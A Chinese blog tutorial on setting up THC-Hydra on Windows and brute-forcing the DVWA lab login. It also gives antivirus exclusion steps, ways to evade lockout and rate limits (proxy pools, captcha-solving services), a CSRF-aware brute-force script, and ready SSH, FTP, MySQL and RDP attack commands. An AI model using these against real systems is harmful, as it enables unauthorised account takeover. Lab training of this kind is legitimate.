欢迎光临
我们一直在努力

Windows 搭建 THC-Hydra 密码爆破工具实战笔记

Windows 搭建 THC-Hydra 密码爆破工具完整实战指南


📋 目录

  • 工具简介
  • 下载与安装
  • 常见踩坑与解决
  • 准备字典文件
  • 命令模板详解
  • DVWA 实战爆破
  • 结果判断方法
  • 常见问题排查
  • ❗ 真实踩坑记录与反思
  • 防护机制绕过
  • 总结与经验

  • 一、工具简介

    什么是 THC-Hydra?

    THC-Hydra(九头蛇)是网络安全领域最主流的在线账号密码爆破工具,由德国安全研究团队 THC 开发。

    支持的协议(50+)

    类型协议
    远程登录 SSH, Telnet, RDP, VNC
    文件传输 FTP, SFTP, SMB
    Web 应用 HTTP(S)-GET/POST-FORM, HTTP-PROXY
    数据库 MySQL, PostgreSQL, MSSQL, Oracle
    邮件服务 SMTP, POP3, IMAP
    其他 Redis, MongoDB, LDAP, Cisco 设备

    核心优势

    ✅ 多线程并发 – 默认 16 线程,速度快 ✅ 字典攻击 – 支持用户名/密码字典 ✅ 灵活判断 – 支持成功/失败特征判断 ✅ 跨平台 – Windows/Linux/macOS 全支持 ✅ 开源免费 – AGPL v3.0 许可


    二、下载与安装

    1. 下载地址

    官方 GitHub 仓库:

    https://github.com/vanhauser-thc/thc-hydra

    Windows 编译版本(推荐):

    https://github.com/maaaaz/thc-hydra-windows

    2. 安装步骤

  • 下载 thc-hydra-windows-master.zip
  • 解压到任意目录(建议路径不含中文)E:\\网安\\安装软件\\thc-hydra-windows-master
  • 确认目录中包含以下文件:
    • ✅ hydra.exe – 主程序(命令行工具,无图形界面)
    • ✅ hydra-wizard.exe – 向导程序
    • ✅ cygwin*.dll 系列 – 依赖库文件(必须和 exe 在同一目录)
  • 💡 提示:Hydra 是绿色软件,解压即用,无需安装。所有 DLL 必须和主程序在同一文件夹。

    3. 验证安装

    方法 1:使用 PowerShell(推荐)

  • 在 Hydra 文件夹空白处,按住 Shift + 鼠标右键
  • 选择 “在此处打开 PowerShell 窗口”
  • 执行验证命令:
  • .\\hydra.exe –h

    方法 2:使用 CMD

    cd E:\\网安\\安装软件\\thc-hydra-windows-master
    hydra.exe -h

    如果显示完整帮助信息,说明安装成功。


    三、常见踩坑与解决

    踩坑 1:双击 hydra.exe 闪退

    现象:双击 hydra.exe,黑窗口一闪就消失。

    原因:Hydra 是纯命令行程序,没有 GUI 图形界面。双击执行后因为没有参数,程序立即退出。

    解决:必须在终端(PowerShell/CMD)中运行,不能直接双击。


    踩坑 2:PowerShell 提示命令无法识别

    错误提示:

    hydra : The term 'hydra' is not recognized as the name of a cmdlet…
    Suggestion: If you trust this command, instead type: ".\\hydra"

    原因:Windows PowerShell 有安全机制,默认禁止直接调用当前目录下的可执行程序。

    解决方案:

    ❌ 错误写法:

    hydra –h
    hydra.exe –h

    ✅ 正确写法:

    .\\hydra.exe –h # 推荐,完整写法
    .\\hydra –h # 简写,系统自动补全 .exe

    关键点:必须加 .\\ 前缀!


    踩坑 3:火绒安全自动删除文件

    现象:文件夹中的 hydra.exe 和 DLL 文件突然消失,火绒提示"已隔离风险黑客工具"。

    解决方案:

    步骤 1:恢复隔离文件
  • 打开火绒安全软件
  • 左侧 【病毒防护】 → 右上角 【隔离区】
  • 勾选所有 hydra、cyg 开头的文件
  • 点击 【恢复】
  • ✅ 务必勾选"恢复后加入信任区"
  • 步骤 2:添加目录排除(永久方案)
  • 火绒首页右上角 【☰ 菜单】 → 【信任区】
  • 点击 【添加信任】 → 【文件/文件夹】
  • 选择 Hydra 所在目录:E:\\网安\\安装软件\\thc-hydra-windows-master
  • ✅ 确认添加
  • Windows Defender 类似操作
  • 设置 → 更新和安全 → Windows 安全中心
  • 病毒和威胁防护 → 管理设置
  • 排除项 → 添加排除项 → 文件夹
  • 选择 Hydra 目录
  • ⚠️ 安全提醒:仅在受控环境(虚拟机、靶场)使用 Hydra,切勿用于非法用途。


    四、准备字典文件

    1. 创建字典文件夹

    在 Hydra 目录下创建 字典 文件夹:

    cd E:\\网安\\安装软件\\thc-hydra-windows-master
    mkdir 字典

    2. 创建用户名字典(user.txt)

    在 字典 文件夹中创建 user.txt,内容如下:

    admin
    root
    administrator
    test
    user

    3. 创建密码字典(pass.txt)

    在 字典 文件夹中创建 pass.txt,内容如下:

    123456
    password
    admin
    root
    123456789
    12345678

    4. 字典来源(进阶)

    常用弱密码字典:

    • rockyou.txt – 最著名的密码字典(1400 万条)
    • top1000.txt – 常见 1000 个密码
    • common-passwords.txt – 通用弱密码

    下载地址:

    https://github.com/danielmiessler/SecLists


    五、命令模板详解

    标准命令格式

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    逐个参数解析

    参数说明示例
    .\\hydra.exe 执行主程序(PowerShell 必须加 .\\) –
    -L 字典\\user.txt 加载用户名字典(大写 L) 多个用户名
    -l admin 单个用户名(小写 l) 只测试 admin
    -P 字典\\pass.txt 加载密码字典(大写 P) 多个密码
    -p password 单个密码(小写 p) 只测试 password
    -V 显示详细过程(Verbose) 每次尝试都显示
    -v 显示简要信息 只显示成功的
    127.0.0.1 目标地址 可以是 IP 或域名
    http-post-form 爆破模式 HTTP POST 表单

    HTTP POST 表单参数详解

    "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    用冒号分隔成三段:

    第一段:/dvwa/login.php
    • 登录页面的路径(相对路径)
    第二段:username=^USER^&password=^PASS^&Login=Login
    • 表单提交的参数
    • username=^USER^ – 用户名字段,^USER^ 会被字典替换
    • password=^PASS^ – 密码字段,^PASS^ 会被字典替换
    • Login=Login – 其他表单参数(如提交按钮的 name 和 value)
    第三段:Login failed
    • 登录失败时页面包含的特征文字
    • Hydra 通过这个判断密码是否错误
    • 如果响应中包含这个文字 → 失败 ❌
    • 如果响应中不包含这个文字 → 成功 ✅

    其他常用参数

    –t 4 # 限制并发线程为 4(默认 16)
    –o result.txt # 保存结果到文件
    –f # 找到第一个成功的就停止
    –s 80 # 指定端口(HTTP 默认 80,HTTPS 默认 443)
    –w 3 # 每次尝试间隔 3 秒(慢速爆破)
    –vV # 超详细输出(调试用)


    六、DVWA 实战爆破

    环境准备

  • ✅ 启动 PHPStudy / XAMPP / WAMP
  • ✅ 确认 DVWA 可以访问:http://localhost/dvwa/login.php
  • ✅ 准备好字典文件(user.txt 和 pass.txt)
  • 步骤 1:分析登录表单

    打开浏览器,访问 DVWA 登录页面,按 F12 打开开发者工具。

  • 切换到 Network(网络) 标签
  • 输入错误的用户名密码(如 test/wrongpass)
  • 点击 Login
  • 在 Network 中找到 login.php 请求,查看:
  • 表单参数名(Headers → Form Data):

    • 用户名字段:username
    • 密码字段:password
    • 提交按钮:Login=Login

    失败特征(Response):

    • 页面显示:Login failed

    你也可以用 curl 命令验证:

    curl –v –X POST http://localhost/dvwa/login.php –d "username=admin&password=wrongpass&Login=Login"

    查看返回内容中是否包含 Login failed。

    步骤 2:构造 Hydra 命令

    基于上面的分析,构造命令:

    cd E:\\网安\\安装软件\\thc-hydra-windows-master

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    ⚠️ 关键点:

    • -V 参数必须在目标地址 127.0.0.1 之前

    • 使用 127.0.0.1 而不是 localhost(Windows 上更稳定)

    • 整个表单参数用双引号包裹

    • hydra 的 http-post-form 模块拥有固定语法模板,引号内由三段内容使用英文冒号 : 进行分隔:

      接口路径:POST表单提交数据:登录失败特征文本

      对应示例中的完整片段:

      /dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed

      ① 第一段:接口路径 /dvwa/login.php

      获取方式:浏览器 F12 抓包

    • 打开 DVWA 登录页面,按下F12切换至【网络 (Network)】面板;
    • 随意填写错误账号密码,点击登录按钮;
    • 在请求列表找到登录对应的请求,查看Request URL;
    • 提取 IP / 域名后方的路径 /dvwa/login.php。
    • 注意:路径不要带上http://127.0.0.1,目标 IP 单独写在 hydra 命令靠前位置。

      ② 第二段:POST 提交参数 username=^USER^&password=^PASS^&Login=Login

      获取方式:查看抓包结果里的【表单数据 (Form Data)】

    • 依旧选择登录请求,找到载荷面板里原生提交内容:

      username=admin&password=123456&Login=Login

    • 遵循 hydra 规则替换占位符:账号位置改为 ^USER^,密码位置改为 ^PASS^;

    • ✅重要:所有表单参数必须完整保留。DVWA 登录表单自带Login=Login提交标识,如果遗漏该参数,服务端不会识别登录请求,爆破直接失效。

    • ③ 第三段:失败页面特征字符串 Login failed

      获取方式:提交错误凭据,查看页面源码

    • 输入错误账号密码完成登录,观察页面报错提示;
    • 右键【查看网页源代码】,复制登录失败独有的提示文本;
    • Hydra 判定逻辑(重中之重)

      Hydra 发起登录请求后:

      • 若返回网页包含该特征字符串 → 判断登录失败
      • 若返回网页找不到该字符串 → 判断登录成功

      ⚠避坑要点:字符串严格区分大小写、空格、标点符号;尽量选择仅登录失败才会出现的文本,不要选用页面全局通用文字,否则极易出现误判。

    步骤 3:执行爆破

    执行命令后,会看到类似输出:

    Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-21 16:31:39
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:5/p:6), ~2 tries per task
    [DATA] attacking http-post-form://127.0.0.1:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed

    [ATTEMPT] target 127.0.0.1 – login "admin" – pass "123456" – 1 of 30 [child 0] (0/0)
    [ATTEMPT] target 127.0.0.1 – login "admin" – pass "password" – 2 of 30 [child 1] (0/0)
    [80][http-post-form] host: 127.0.0.1 login: admin password: password ✅
    [80][http-post-form] host: 127.0.0.1 login: admin password: admin ✅
    [80][http-post-form] host: 127.0.0.1 login: root password: root ✅

    1 of 1 target successfully completed, 18 valid passwords found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-21 16:31:42

    步骤 4:验证结果

    用找到的账号密码登录 DVWA,验证是否成功。


    七、如何判断爆破是否成功?

    ✅ 成功标志

    [80][http-post-form] host: 127.0.0.1 login: admin password: password

    这一行表示找到了有效的账号密码组合:

    • [80] = 端口号
    • [http-post-form] = 爆破模式
    • login: = 用户名
    • password: = 密码

    📊 结束统计

    1 of 1 target successfully completed, 28 valid passwords found

    • successfully completed = 爆破任务完成
    • 28 valid passwords found = 找到 28 个有效密码 ✅

    如果是 0 个:

    0 valid passwords found

    说明所有尝试都失败了,没找到正确密码 ❌

    🔍 尝试记录(不是成功)

    [ATTEMPT] target 127.0.0.1 – login "admin" – pass "123456" – 1 of 30 [child 0] (0/0)

    这只是尝试记录,不代表成功。只表示正在测试这个组合。

    快速判断口诀

    输出内容含义
    [80][http-post-form] login: xxx password: xxx ✅ 找到密码
    X valid passwords found (X > 0) ✅ 成功找到
    0 valid passwords found ❌ 全部失败
    只有 [ATTEMPT] 没有成功行 ❌ 全部失败

    八、常见问题与解决方案

    问题 1:Hydra 启动后立即退出,没有任何爆破输出

    原因:命令格式错误,Hydra 无法解析参数。

    解决方案:

    ❌ 错误写法(-V 位置不对):

    .\\hydra.exe –L user.txt –P pass.txt localhost http-post-form "…" –V

    ✅ 正确写法(-V 在目标地址之前):

    .\\hydra.exe –L user.txt –P pass.txt –V 127.0.0.1 http-post-form "…"

    关键点:

    • -V 等选项参数必须放在目标地址之前
    • 使用 127.0.0.1 而不是 localhost(Windows 上更稳定)

    问题 2:[ERROR] Unknown service: http-post-form/dvwa/login.php

    原因:http-post-form 和路径参数之间缺少空格。

    解决方案:

    确保 http-post-form 后面有空格,整个路径用双引号包裹:

    # 正确
    http-post-form "/dvwa/login.php:…"

    # 错误
    http-post-form"/dvwa/login.php:…"


    问题 3:所有尝试都失败(0 valid passwords found)

    原因 1:失败特征不对

    用 curl 测试查看真实的失败提示:

    curl –v –X POST http://localhost/dvwa/login.php –d "username=admin&password=wrongpass&Login=Login"

    查看响应中是否包含 Login failed,如果不是,需要修改失败特征。

    原因 2:目标服务未启动

    在浏览器中访问 http://localhost/dvwa/login.php,确认能正常打开。

    原因 3:需要 Session/Token

    某些网站每次登录需要新的 CSRF token,Hydra 默认不支持。

    解决方案:改用 Burp Suite Intruder 或 Python 脚本。


    问题 4:字典文件找不到

    错误提示:

    [ERROR] Can not open file: 字典\\user.txt

    解决方案:

  • 确认字典文件路径正确
  • 使用相对路径或绝对路径:
  • # 相对路径
    .\\hydra.exe –L .\\字典\\user.txt –P .\\字典\\pass.txt ...

    # 绝对路径
    .\\hydra.exe –L "E:\\网安\\安装软件\\thc-hydra-windows-master\\字典\\user.txt" ...


    九、踩坑记录与反思

    说明:以下是真实实战过程中遇到的所有问题,按时间顺序记录。每个坑都会导致爆破失败,强烈建议仔细阅读避免重复踩坑。


    踩坑 1:参数位置错误 – 启动后无任何输出

    错误现象

    执行命令后,Hydra 显示启动信息(“starting at…”),但没有任何 [ATTEMPT] 或爆破进度,直接返回命令行提示符。

    错误命令

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" –V

    问题分析

    致命错误:-V 参数放在了最后面,导致 Hydra 把它当作表单参数的一部分,而不是命令选项。

    Hydra 的参数解析规则:

    • 所有选项参数(-V、-t、-o 等)必须在目标地址之前
    • 目标地址之后只能跟服务类型和服务参数
    正确命令

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    反思总结

    记住这个规律:

    .\\hydra.exe [所有选项参数] [目标地址] [服务类型] [服务参数]

    错误顺序 :

    选项 → 目标 → 服务 → 选项 (最后的选项会被忽略)

    正确顺序 :

    选项 → 选项 → 选项 → 目标 → 服务 → 服务参数


    踩坑 2:使用 localhost 导致连接问题

    错误现象

    命令格式正确,但 Hydra 启动后仍然没有爆破进度,或者提示连接超时。

    错误命令

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V localhost http-post-form "…"

    问题分析

    在 Windows 环境下,localhost 的解析有时会出现问题:

    • IPv4 和 IPv6 混用导致路由延迟
    • 某些防火墙规则对 localhost 和 127.0.0.1 处理不同
    • DNS 解析增加额外开销
    正确命令

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V 127.0.0.1 http-post-form "…"

    反思总结

    在 Windows 上使用 Hydra,永远用 127.0.0.1 代替 localhost!

    这不仅是最佳实践,而且能避免 90% 的连接问题。


    踩坑 3:-vV 双参数写法导致解析失败

    错误现象

    执行后只显示帮助信息(或直接退出),无法启动爆破。

    错误命令

    .\\hydra.exe –l admin –p password 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" –vV

    问题分析
    • -vV 在某些 Hydra 版本中不被识别(特别是 Windows 编译版)
    • 即使支持,位置也不对(在目标地址后面)
    正确命令

    # 方式 1:只用 -V(推荐,显示详细信息已足够)
    .\\hydra.exe –l admin –p password –V 127.0.0.1 http-post-form "…"

    # 方式 2:分开写(如果确实需要)
    .\\hydra.exe –v –V –l admin –p password 127.0.0.1 http-post-form "…"

    反思总结

    简单就是最好的:

    • 调试时只用 -V,已经足够详细
    • 避免使用组合参数(-vV、-vVv 等),Windows 版兼容性差
    • 所有选项参数放在目标地址之前

    踩坑 4:http-post-form 和路径之间缺少空格

    错误现象

    [ERROR] Unknown service: http-post-form/dvwa/login.php:username=…

    错误命令

    .\\hydra.exe –L user.txt –P pass.txt –V 127.0.0.1 http-post-form"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    问题分析

    Hydra 把 http-post-form"/dvwa/login.php… 当成了一个完整的服务名称,而不是服务类型 + 参数。

    正确命令

    .\\hydra.exe –L user.txt –P pass.txt –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    注意:http-post-form 后面有空格,然后才是双引号。

    反思总结

    空格很重要!格式必须是:

    [服务类型] [空格] "[服务参数]"

    不要因为复制粘贴导致空格丢失。


    踩坑 5:字典路径错误

    错误现象

    [ERROR] Can not open file: 字典\\user.txt

    错误原因
  • 文件路径不对(字典文件夹不存在或拼写错误)
  • 没有使用相对路径标识(在某些 PowerShell 版本中)
  • 路径中有空格但没加引号
  • 正确命令

    # 方式 1:相对路径(推荐,前面加 .\\)
    .\\hydra.exe –L .\\字典\\user.txt –P .\\字典\\pass.txt –V 127.0.0.1 http-post-form "…"

    # 方式 2:绝对路径(用引号包裹)
    .\\hydra.exe –L "E:\\网安\\安装软件\\thc-hydra-windows-master\\字典\\user.txt" –P "E:\\网安\\安装软件\\thc-hydra-windows-master\\字典\\pass.txt" –V 127.0.0.1 http-post-form "…"

    反思总结

    文件路径三要素:

  • 确认文件真实存在(用 ls 或 dir 验证)
  • 相对路径加 .\\ 前缀
  • 路径含空格必须用引号包裹

  • 踩坑 6:不理解输出结果,误以为失败了

    错误现象

    看到一堆 [ATTEMPT] 记录,但没有明显的"成功"提示,以为爆破失败了。

    真实输出示例

    [ATTEMPT] target 127.0.0.1 – login "admin" – pass "123456" – 1 of 30 [child 0] (0/0)
    [ATTEMPT] target 127.0.0.1 – login "admin" – pass "password" – 2 of 30 [child 1] (0/0)
    [80][http-post-form] host: 127.0.0.1 login: admin password: password
    [80][http-post-form] host: 127.0.0.1 login: admin password: admin
    …
    1 of 1 target successfully completed, 18 valid passwords found

    问题分析

    没有认真看输出结果:

    • 只看到 [ATTEMPT](尝试记录),没注意 [80][http-post-form](成功记录)
    • 没有等到最后一行的统计信息就以为失败了
    正确判断方法

    成功的三个标志(任何一个出现都代表找到了密码):

  • 出现 [80][http-post-form] host: xxx login: xxx password: xxx 行
  • 最后显示 X valid passwords found(X > 0)
  • 能看到具体的用户名和密码组合
  • 失败的标志:

  • 只有 [ATTEMPT] 没有 [80][http-post-form]
  • 最后显示 0 valid passwords found
  • 反思总结

    看懂输出是关键!

    • [ATTEMPT] = 正在尝试(不是结果)
    • [80][http-post-form] = 找到了密码(成功!)
    • X valid passwords found = 最终统计(这是答案)

    养成习惯:爆破完成后,直接看最后一行的统计数字。


    踩坑 7:失败特征字符串不准确

    错误现象

    明明密码是对的,但 Hydra 报告 0 valid passwords found。

    错误原因

    失败特征字符串写错了,导致 Hydra 无法正确判断登录是否成功。

    如何正确获取失败特征

    方法 1:用浏览器 F12

  • 打开登录页面,按 F12
  • 切换到 Network 标签
  • 输入错误的密码,点击登录
  • 查看响应内容(Response),找到明显的错误提示文字
  • 方法 2:用 curl 测试

    curl –v –X POST http://localhost/dvwa/login.php –d "username=admin&password=wrongpass&Login=Login"

    在返回的 HTML 中找到登录失败时才出现的文字。

    常见失败特征
    网站/系统失败特征示例
    DVWA Login failed
    WordPress ERROR 或 Invalid username
    phpMyAdmin Access denied
    SSH/FTP 返回状态码(Hydra 自动识别)
    反思总结

    永远不要猜失败特征!

    • 必须实际测试,获取真实的错误提示
    • 失败特征要唯一且稳定(登录失败时一定出现,成功时一定不出现)
    • 可以用 S=成功特征 代替 F=失败特征(反向判断)

    踩坑 8:急于求成,命令还没执行完就以为失败

    错误现象

    执行命令后等了几秒钟没看到输出,就按 Ctrl+C 中止了,认为爆破失败。

    问题分析
    • Hydra 启动需要时间(初始化、建立连接)
    • 网络延迟导致第一个请求响应慢
    • 默认 16 线程并发,前几秒在"热身"
    正确做法

    至少等待 10-20 秒,观察是否有输出:

    • 如果出现 [ATTEMPT],说明正在正常工作
    • 如果一直没有任何输出,再检查命令格式
    • 如果报错,看具体错误信息
    反思总结

    耐心很重要:

    • 执行命令后不要立即按 Ctrl+C
    • 观察至少 10 秒,看是否有进度输出
    • 如果真的卡住了,先排查:目标服务是否启动、网络是否通畅

    十、实战技巧:防护机制绕过

    1. 限制尝试次数(如 3 次锁定)

    策略:降低速度 + 减少并发

    # 单线程 + 每次间隔 5 秒
    .\\hydra.exe –L user.txt –P pass.txt –t 1 –w 5 –V 127.0.0.1 http-post-form "…"

    2. 基于 IP 的速率限制

    策略:使用代理池(需配合 proxychains)

    # Linux 环境
    proxychains hydra -L user.txt -P pass.txt target.com http-post-form "…"

    3. 账户锁定机制

    策略:只测试最可能的密码

    # 每个账户只试 top 3 常用密码
    .\\hydra.exe –L users.txt –P top3_pass.txt –t 1 –w 10 –V target.com http-post-form "…"

    4. 验证码 (CAPTCHA)

    Hydra 无法自动绕过验证码

    替代方案:

    • 找没有验证码的接口(如 API、移动端)
    • 利用验证码刷新漏洞
    • 使用验证码识别服务(OCR/打码平台)

    5. Session 绑定 / CSRF Token

    策略:使用 Python 脚本自动提取 token

    import requests
    from bs4 import BeautifulSoup

    def crack_with_token(username, password):
    session = requests.Session()

    # 1. 获取登录页面和 token
    r = session.get("http://target.com/login")
    soup = BeautifulSoup(r.text, 'html.parser')
    token = soup.find('input', {'name': 'csrf_token'})['value']

    # 2. 提交登录
    data = {
    'username': username,
    'password': password,
    'csrf_token': token
    }
    r = session.post("http://target.com/login", data=data)

    # 3. 判断是否成功
    if "Login failed" not in r.text:
    print(f"[+] Found: {username}:{password}")
    return True
    return False

    # 遍历字典
    with open('users.txt') as u, open('pass.txt') as p:
    for user in u:
    for pwd in p:
    crack_with_token(user.strip(), pwd.strip())


    十、总结与经验

    ✅ 成功要点

  • 命令格式要正确 – -V 参数位置、引号使用、.\\ 前缀
  • 失败特征要准确 – 用 F12 或 curl 确认真实的错误提示
  • 字典质量很重要 – 使用常见弱密码字典,提高成功率
  • 环境要稳定 – 确保目标服务正常运行
  • 杀软要处理 – 提前添加信任区,避免文件被删除
  • 📌 实战经验

    场景推荐方法
    简单 HTTP 表单 Hydra + 字典
    需要 Token/Session Burp Suite Intruder
    有验证码 Python 脚本 + OCR
    有速率限制 降低速度 + 代理池
    强防护(WAF) 放弃爆破,改用 OSINT/社工

    ⚠️ 法律声明

  • 仅用于授权测试 – 自己的系统、靶场环境、授权的渗透测试
  • 禁止非法用途 – 未经授权攻击他人系统属于违法行为,涉嫌违反《中华人民共和国网络安全法》《刑法》
  • 学习目的 – 理解安全防护机制,提升防御能力
  • 📊 实战经验对照表

    场景推荐方法避坑关键
    简单 HTTP 表单 Hydra + 字典 失败特征要准确
    需要 Token/Session Burp Suite Intruder Hydra 无法自动处理
    有验证码 Python 脚本 + OCR Hydra 无法绕过验证码
    有速率限制 降低速度 + 代理池 -t 1 -w 5 慢速爆破
    强防护(WAF) 放弃爆破,改用 OSINT/社工 工具无法突破硬防护

    附录:常用命令速查

    HTTP POST 表单爆破(Web 登录)

    .\\hydra.exe –L 字典\\user.txt –P 字典\\pass.txt –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    单个账号密码测试

    .\\hydra.exe –l admin –p password –V 127.0.0.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

    限速爆破(绕过速率限制)

    .\\hydra.exe –L user.txt –P pass.txt –t 4 –w 2 –V 127.0.0.1 http-post-form "…"

    保存结果到文件

    .\\hydra.exe –L user.txt –P pass.txt –V –o result.txt 127.0.0.1 http-post-form "…"

    SSH 爆破

    .\\hydra.exe –l root –P pass.txt –V 192.168.1.100 ssh

    FTP 爆破

    .\\hydra.exe –L user.txt –P pass.txt –V 192.168.1.100 ftp

    MySQL 爆破

    .\\hydra.exe –l root –P pass.txt –V 192.168.1.100 mysql

    RDP(远程桌面)爆破

    .\\hydra.exe –l administrator –P pass.txt –V 192.168.1.100 rdp


    参考资料

    • THC-Hydra 官方文档
    • OWASP Testing Guide
    • SecLists 字典库
    • DVWA 靶场

    作者:实战记录 更新日期:2026-07-21 版本:v2.0 完整实战版 关键词:Hydra、密码爆破、DVWA、渗透测试、网络安全

    赞(0)
    未经允许不得转载:171主机测评 » Windows 搭建 THC-Hydra 密码爆破工具实战笔记
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址